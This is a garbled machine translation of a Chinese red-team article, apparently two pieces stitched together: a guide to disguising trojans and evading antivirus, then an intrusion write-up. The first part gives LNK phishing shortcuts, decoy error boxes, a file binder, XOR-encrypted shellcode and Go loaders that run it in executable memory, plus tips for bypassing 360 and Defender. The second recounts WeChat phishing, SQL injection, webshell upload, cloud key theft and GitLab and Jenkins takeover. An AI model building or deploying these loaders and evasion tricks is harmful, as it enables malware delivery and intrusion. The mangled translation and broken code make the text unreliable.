XXX Real-Nameのレポートと苦情、この種の電子メールは通常処理され、すぐにフィードバックされます

bqhrwwv3dnu2652.png

ファイニングファイル変装

一般的なヒント

トロイの木馬は、圧縮、パスワードを追加してコンテンツを非表示にする必要があります。

珍しいサフィックスを選択しますが、SCR、COMなどのEXEとして実行できます。

ファイル名の名前は長いです。他のファイルが正しく表示されない場合、プレビュー中に接尾辞が表示されません。

lnk釣り

ターゲットユニットが360 TIANQINGを使用していないことがわかっている場合は、LNKファイルをフィッシングに使用できます(360はインターセプトします)

ショートカットのターゲット位置に記入してください:

%windir%\ system32 \ cmd.exe /c start。\ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ xxx.doc amp; amp; amp; c: \ windows \ explorer.exe '。\ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ fsx.exe'

img

アイコンの変更パスの選択:

C: \\プログラムファイル(x86)\\ microsoft \\ edge \\アプリケーション

%SystemRoot%\\ System32 \\ imageres.dll

%SystemRoot%\\ System32 \\ shell32.dll

image.png

ボックスエラーのヒント

msgboxを実行して「ファイルが破損している」およびその他の混乱するコンテンツをプロンプトします

VBS実装

エラーの再開時に次に再開します

wscript.sleep 2000

msgbox '現在のファイルが破損しているので、ツールを変更して開く 』、64、' tip '

コード実装に移動します

パッケージメイン

輸入(

'github.com/gen2brain/dlgs'

))

func box(){

_、err :=dlgs.info( 'tip'、 '現在のファイルが破損している、開くツールを変更してください')

err!=nil {

パニック(err)

}

}

効果を実現します

image-20231103170505169

ファイルバンドラー

通常のファイルと悪意のあるトロイの木馬にバインドします。実行後、exe自体が削除され、通常のファイルが現在のディレクトリにリリースされ、開かれ、トロイの木馬はc: \ uses \ public \ videosディレクトリにリリースされ、実行されます。

バージョン1.1通常のソフトキル(360、def、タートルなど)バイパス

バージョン1.2追加されたファイルがリリースされた後に自動的に非表示

image-20231103113848878

効果の実現

image-20231104115308737

一般的なソフトキル型タイプ

ソフトキリングタイプのソフトキリング機能ターコイズ

コンピレーションパラメーターには多くの制限があり、ハッシュと文字列の機能が認識されています。静的は動的に実行できます。基本的に検出されて殺されません。一部のGOライブラリは、毒を報告するために呼び出されます。

360

単一の360チェックは高くありません。アンチウイルスを設置した後、あなたの息子は父親になります。殺害力は大幅に改善されています。アンチウイルスは自動的にサンプルをアップロードします。クラウドがしばらくリリースされた後、簡単に検出して殺すことができます。個別の荷重方法を使用し、馬の時間を延長するためにアンチサンドボックスコードを使用することをお勧めします。

360コアクリスタル

オープニング後、全体的な殺害パフォーマンスに大きな影響はありません。プロセスインジェクションを使用してシェルコードのロードを避けてください。コマンドを実行して、BOFプラグインを交換用に使用します。

ディフェンダー

Cobaltstrikeルールを追加しましたが、ステージレスを使用することをお勧めします。これはステージよりも優れています。 Sleep_Maskパラメーターはバージョン4.5で有効になり、殺害能力が向上し、大きなファイルの検出率は高くありません。

基本的な負荷方法

以下は基本的な例であり、暗号化、復号化、負荷の機能を実装するだけです。

まず、pythonスクリプトを使用して、payload.cファイルを暗号化します

base64をインポートします

OriginalShellCode=b '\ xfc \ xe8 \ x89 \ x00'

encryptedShellCode=bytes([byte ^0xff for riginalshellcode]))

encodedShellCode=base64.B64Encode(encryptedShellCode).Decode( 'utf-8')

print(encodedshellcode)

image-20231104111224020

コンパイルする出力コンテンツの暗号化されたシェルコードを入力します

パッケージメイン

輸入(

「エンコード/base64」

「syscall」

「安全でない」

'github.com/lxn/win'

'golang.org/x/sys/windows'

))

func main(){

//base64およびxorを介してシェルコードコンテンツを復号化します

win.showwindow(win.getConsoleWindow()、win.sw_hide)

暗号化されたシェルコード:='IZ/0K4EFV3D3DZYMNICLJIE/RQUSP/WLFZ/8JW8 //CVXP/WFJZ94WD09OKA+P0A320SWC3VVZA2VNO 2DRAVMIU2JJ/8JVF8NUS/DQCR9G9VFHUCBFZ3/3D3DZ/YTWMQP3ANJ/W/BZP8N1C+DQEUIT+IVJB8Q/8/8/DQE6RR4/RRFBNRA+EJZ2TK+XAOY7DDTTFZJOPGKVLZP8N1M+DQCRNVX7PZP8N2S+DQC2/HP/P3ANNI82 lykultyvni42lt/0m1c2jyixlzyult/8zz44iiikh13pskahhkegriddzyhpv6ro/6gns07affwiki/r R4/rqu6rrc6rr42jzynns1niq7qikke5hd3d3d3d3d3d3d3c6rr42jjymhhhhhhhhhhhhhhjbnip7osyiina4sp /62P0ALPV6VOKA+JR93RBFZJSU2ZZWIWUYIOJ/+ST/0TCCDFSG //OBNAHD3DX13H/DED3C+/PC2ZNN3D3 c2zqix6fgioj/+hj/+rt6wt4iiiig6rr4ljtbnwnfvdiii8rd48up2d3c/ilh48/t2d3ecxj6tdnd3n/w IIIHYBAMWAX4UWB0EWB0GAHIFDLPEWURZRVKEGX4AWROEGVKDBHDHI6T+16T+1FOVAU170U01IYZBPFAY Y1/2AR3+CTAXWG13PLFZUVYPDJEADYEEGVANHASGQNNVZOYDR4BGXZYQLLHV18GHHKTGAAETFCITFCG HHKTGAAEVZKJV0JZRKXXEHLAIIRMVWUBTUZZQFLCXLCWEHQCGFHFR0DDRKZHQFCXHGUSERGPWEZZR1DFF G9EEN138A3JHF8SUTLPTSAKGLHPCZEFAWU1GBBWMBCC5SPMVMVYH80FQMODP2ALXGMYPFSNWG7SVEI0OY byhaggyf4i4kottoz1mqel3bv8empa2kc6kl9yo3xp4ukic3tfp ++ yrqp8gydc1aq3kbknstnkpu3rsj ovxltad3jo3ibml+cbpdbioubhepdlxtvlhd+oz/ndxswjf1y7hgk70678/6spezl2vdgaufa17kfdb ouq6cq9oldou5gfzp42aycsmoqmwd8xnc2yyfc1sgioj9gvs13dzd3ns93z3d3ns43d3d3ns0v0yssiki /5CQKP/6QP/6GP/6TNS93V3D3PV6ONS1L4F6VIKI/9LNX8RCDWRH8CD92TPK3AQAVLY8/CND3D3D3CNTJ8I IOIIBBIFAR4UELOSAXMVQEMZEVPGREDAQEDHT0ZPWQQFWRYHHHAAWQMSGRQSGQMUBFKUGBP3COKWDW=='

decodedshellcode、_ :=base64.stdencoding.decodestring(encryptedshellcode)

i :=0;私はlt; len(decodedshellcode); i ++ {

decodedshellcode [i] ^=0x77

}

//kernel32.dllでvirtualAlloc関数を取得します

kernel32、_ :=syscall.loaddll( 'kernel32.dll')

virtualAlloc、_ :=kernel32.findproc( 'virtualAlloc')

//メモリを割り当て、シェルコードコンテンツを書き込みます

allocsize :=uintptr(len(decodedshellcode))

mem、_、_ :=virtualAlloc.call(uintptr(0)、allocsize、windows.mem_commit | windows.mem_reserve、windows.page_execute_readwrite)

mem==0の場合{

パニック( 'VirtualAlloc Failed')

}

バッファ:=(*[0x1_000_000] byte)(unsafe.pointer(mem))[:allocsize:allocsize]

コピー(バッファ、デコードシェルコード)

//シェルコードを実行します

syscall.syscall(mem、0、0、0、0)

}

ユニバーサルソフトキルスキル

リモートロードまたはファイル分離の読み込みが推奨されますが、いくつかの欠点もあります。前者はセキュリティデバイスによって追跡またはブロックされる場合があり、後者は2つのファイルが権利保護により適していることを要求しています。

ガベージコードの充填、シェルコードをロードする前に無害な操作を実行し、サンドボックスとソフトキル入力判断を妨害し、実行した遅延またはプログラムのボリュームを増やして検出をバイパスします。

ニッチ言語を選択して、ローダー機能を作成および作成します。 CSに加えて、ツールはVSHELLやその他の自己執筆C2を使用することもできます。

殺しないで一つのクリック生成

私は恥知らずで、githubプロジェクトを推奨するためにアムウェイに来ます。 ahem、それが大丈夫だと思うなら、あなたは星をクリックすることができます

王の攻撃に対する王の攻撃を殺すことなく殺すマスター3https://github.com/wangfly-me/loaderfly

サウザンドマシン - レッドチームの無料トロイの木馬は、https://github.com/pizz33/qianjiを自動的に生成します

コンパイルパラメーターの影響

GO:

- レースレース検出コンピレーション

-ldflags '-s -w'コンパイル情報を削除します

-ldflags '-h Windowsgui'ウィンドウを非表示にします

Garble(難解ライブラリ):

- 追加の情報を削除します

- 文学的混乱テキスト

-seed=base64によってエンコードされたランダムランダムシード

たとえば、無害なコードをコンパイルした場合、文字パラメーターを使用します。360は毒を報告します。追加しない場合は、毒を報告しません。

パッケージメイン

func main(){

//乗算する2つの数字

num1 :=5

Num2 :=3

結果:=0

//ループにはAを使用して乗算を実行します

i :=0;私はlt; num2; i ++ {

結果+=num1

}

}

image-20231103142821152

-h Windows GUIパラメーターは、免除に大きな影響を与えます。ブラックボックスを非表示にする必要がある場合は、次のコードを使用してそれを置き換えることができます(ただし、Win11にはまだブラックボックスがあります)

パッケージメイン

'github.com/lxn/win'をインポート

func main(){

win.showwindow(win.getConsoleWindow()、win.sw_hide)

}

func box()int {

FreeConsolle :=syscall.newlazydll( 'kernel32.dll')。newproc( 'freeconsole')

freeconsole.call()

0を返します

}

func main(){

箱()

静的機能処理

obfusal

GO LOWバージョン3https://GITHUB.com/boy-hack/go-strip

Highバージョンhttps://github.com/burrowers/garbleに移動します

マングルは文字列を置き換えます

https://github.com/optiv/mangle

mangle.exe -i xxx.exe -m -o out.exe

マングル処理の前後の比較は、コンパイルされたGoの特徴文字列がランダムな文字image-20231104111621701に置き換えられていることがわかります。

base64エンコード変数

CMD :=exec.command( 'rundll32.exe'、 'xxx')

キー文字列はbase64用にエンコードされ、対応する位置で変数値を置き換えます

EncodedCommand :='cnvuzgxsmziuzxhl'

Encodedarguments :='mtextdgfyda=='

//base64エンコードされたコマンドとパラメーターをデコードします

decodedCommand、_ :=base64.stdencoding.decodestring(encodedCommand)

decodedarguments、_ :=base64.stdencoding.decodestring(encodedarguments)

cmd :=exec.command(string(decodedcommand)、string(decodedarguments)))

QVMバイパス

リソースを追加

1。画像タグ名著作権などの情報の追加次のアイテムを使用してワンクリックを追加できます

image-20231104111439772

https://github.com/pizz33/360qvm_bypass

https://github.com/s9mf/my_script_tools/tree/main/360qvm_bypass-public

https://github.com/langsasec/sign-sacker

zjwnet5d0rk2661.png

image-20230504161714715

行動特性

シェルコードを直接実行し、通常はQVMを直接報告します

パッケージメイン

輸入(

「syscall」

「安全でない」

))

var(

ntdll=syscall.mustloaddll( 'ntdll.dll')

virtualAlloc=kernel32.mustfindproc( 'virtualAlloc')

rtlcopymemory=ntdll.mustfindproc( 'rtlcopymemory')

))

const(

mem_commit=0x1000

mem_reserve=0x2000

page_execute_readwrite=0x40

))

func main(){

addr、_、err :=virtualAlloc.call(0、uintptr(len(decryt))、mem_commit | mem_reserve、page_execute_readwrite)

err!=nil amp; amp; err.error()!='操作が正常に完了しました。 {

syscall.exit(0)

}

_、_、err=rtlcopymemory.call(addr、(uintptr)(unsafe.pointer(amp; decryt [0]))、uintptr(len(decryt))))

err!=nil amp; amp; err.error()!='操作が成功したことを完了しました

序文

外部ネットワークでの釣りから内部ネットワークでの移動まで、顧客が承認した攻撃的で防御的なドリルも祝福であることです。攻撃パスが描画されます。フローチャートは、私が描いた攻撃フローチャートに従って説明されます。フローチャートは次のとおりです:报告流程图.png

屋外ネット釣り

最初に、外部ネットワークから関連情報を収集し、WeChatを追加し、カスタマーサービスビジネスに構築する

答えは、トロイの木馬の馬をクリックするように相手を誘導することです。プロセスは次のとおりです:image.png

下の図に示すように、カスタマーサービスが正常に発売されました:image.png

その後、会社のディレクターはWeChat Phishingも実装しました。 「ビジネス協力」という言葉の構造は、次のようにトロイの木馬の馬をクリックするように相手に誘導することです:image.png

また、オンライン:image.png

インターネット旅行

関連するシステムをログイン

カスタマーサービスターミナルを調べて、パスワードブックを見つけて、電子メールシステムに正常にログインして、次のように多数の内部オフィスメールを見つけました:image.png

パスワードブックを介して操作プラットフォームにログインすると、2000W+レコードが次のとおりであることがわかりました:image.png

同時に、操作システムには次のようにSQL注入があることもわかりました:image.png

SQLMAPを使用して、次のようにデータベースユーザーパスワードを取得します:image.png

次のように、パスワードブックを介してZabbixシステムにログインしてください:image.png

特定のソースコードが見つかり、レビューが起動されます!

別の端末ファイルをめくると、圧縮されたパッケージをinstall.zip、減圧および表示し、特定のシステムのソースコードであることがわかりました:image.png

言語は:のようにPHPです

image.png

監査ソースコードは、システムのバックエンドプラグインの追加にファイルアップロードの脆弱性があることを発見しました。プラグインを追加することにより、サーバーにWebシェルを書き込むことにより、複数のサーバーアクセス許可が取得されました。

焦点は、build()関数image.pngにあります

次のように、要求されたconfigデータをプラグインディレクトリのconfig.phpファイルに直接書き込みます:image.png

BURPコンストラクトデータパケットパケット:image.png

分析は成功しました、GetShellは次のとおりです:image.png image.png

次のように、この0日を介して複数のサーバー権限を取得します。

image.png

クラウド資産を制御

前面で制御されたマシンを介して、マシンの1つで、構成ファイルをめくって、データベースアカウントとパスワードを見つけ、データベースにログインして、次のようにテーブルの1つでAK/SKを見つけます:image.png

Alibaba Cloudのすべてのシステムを引き継ぐことができます:image.png

gitlab

を取得します

次のように、Linuxの履歴を通じてGitLabの背景許可を取得するimage.png

検出を通じて、gitlabには歴史的な脆弱性CVE-2021-22205があり、脆弱性がGitlab Server image.pngの許可を取得するために使用されたことが発見されました。

GitlabのRedisを使用して、SSHキーを書き、次のようにルート許可を取得するための不正アクセスの脆弱性:image.png image.png

GitLabのコードを読んだ後、Zen DAOデータベースアカウントのパスワードを見つけました。これは本当に良いことです。同時に、私はここでも小さな提案をしました。イントラネットに入ってGitLabを発見すると、できるだけ早く入手できます。多くの利点があります。image.png

データベースはルートパスワードを直接変更し、背景を入力します:image.png

バックグラウンド関数を介した膨張は次のとおりです。image.png

ジェンキンスを征服

gitlabシステムを介して、マシンがnginxに存在することがわかりました。 nginx構成ファイルをチェックすることにより、Sonar \ Jenkins \などの複数のシステムが逆プロキシ化されていることがわかりました。 jenkins.confファイルにログを構成することにより、JenkinsユーザーログインCookie形式は次のように取得されました:image.png image.png image.png

取得したCookieを使用して、Jenkinsに正常にログインしてください:image.png

要約

ソーシャルワーカーの釣りを通じて、私は穴を引き裂き、イントラネットで長い円を取り、いくつかの結果を得ました。次回お会いしましょう。

元のテキストから転載:https://forum.butian.net/share/2583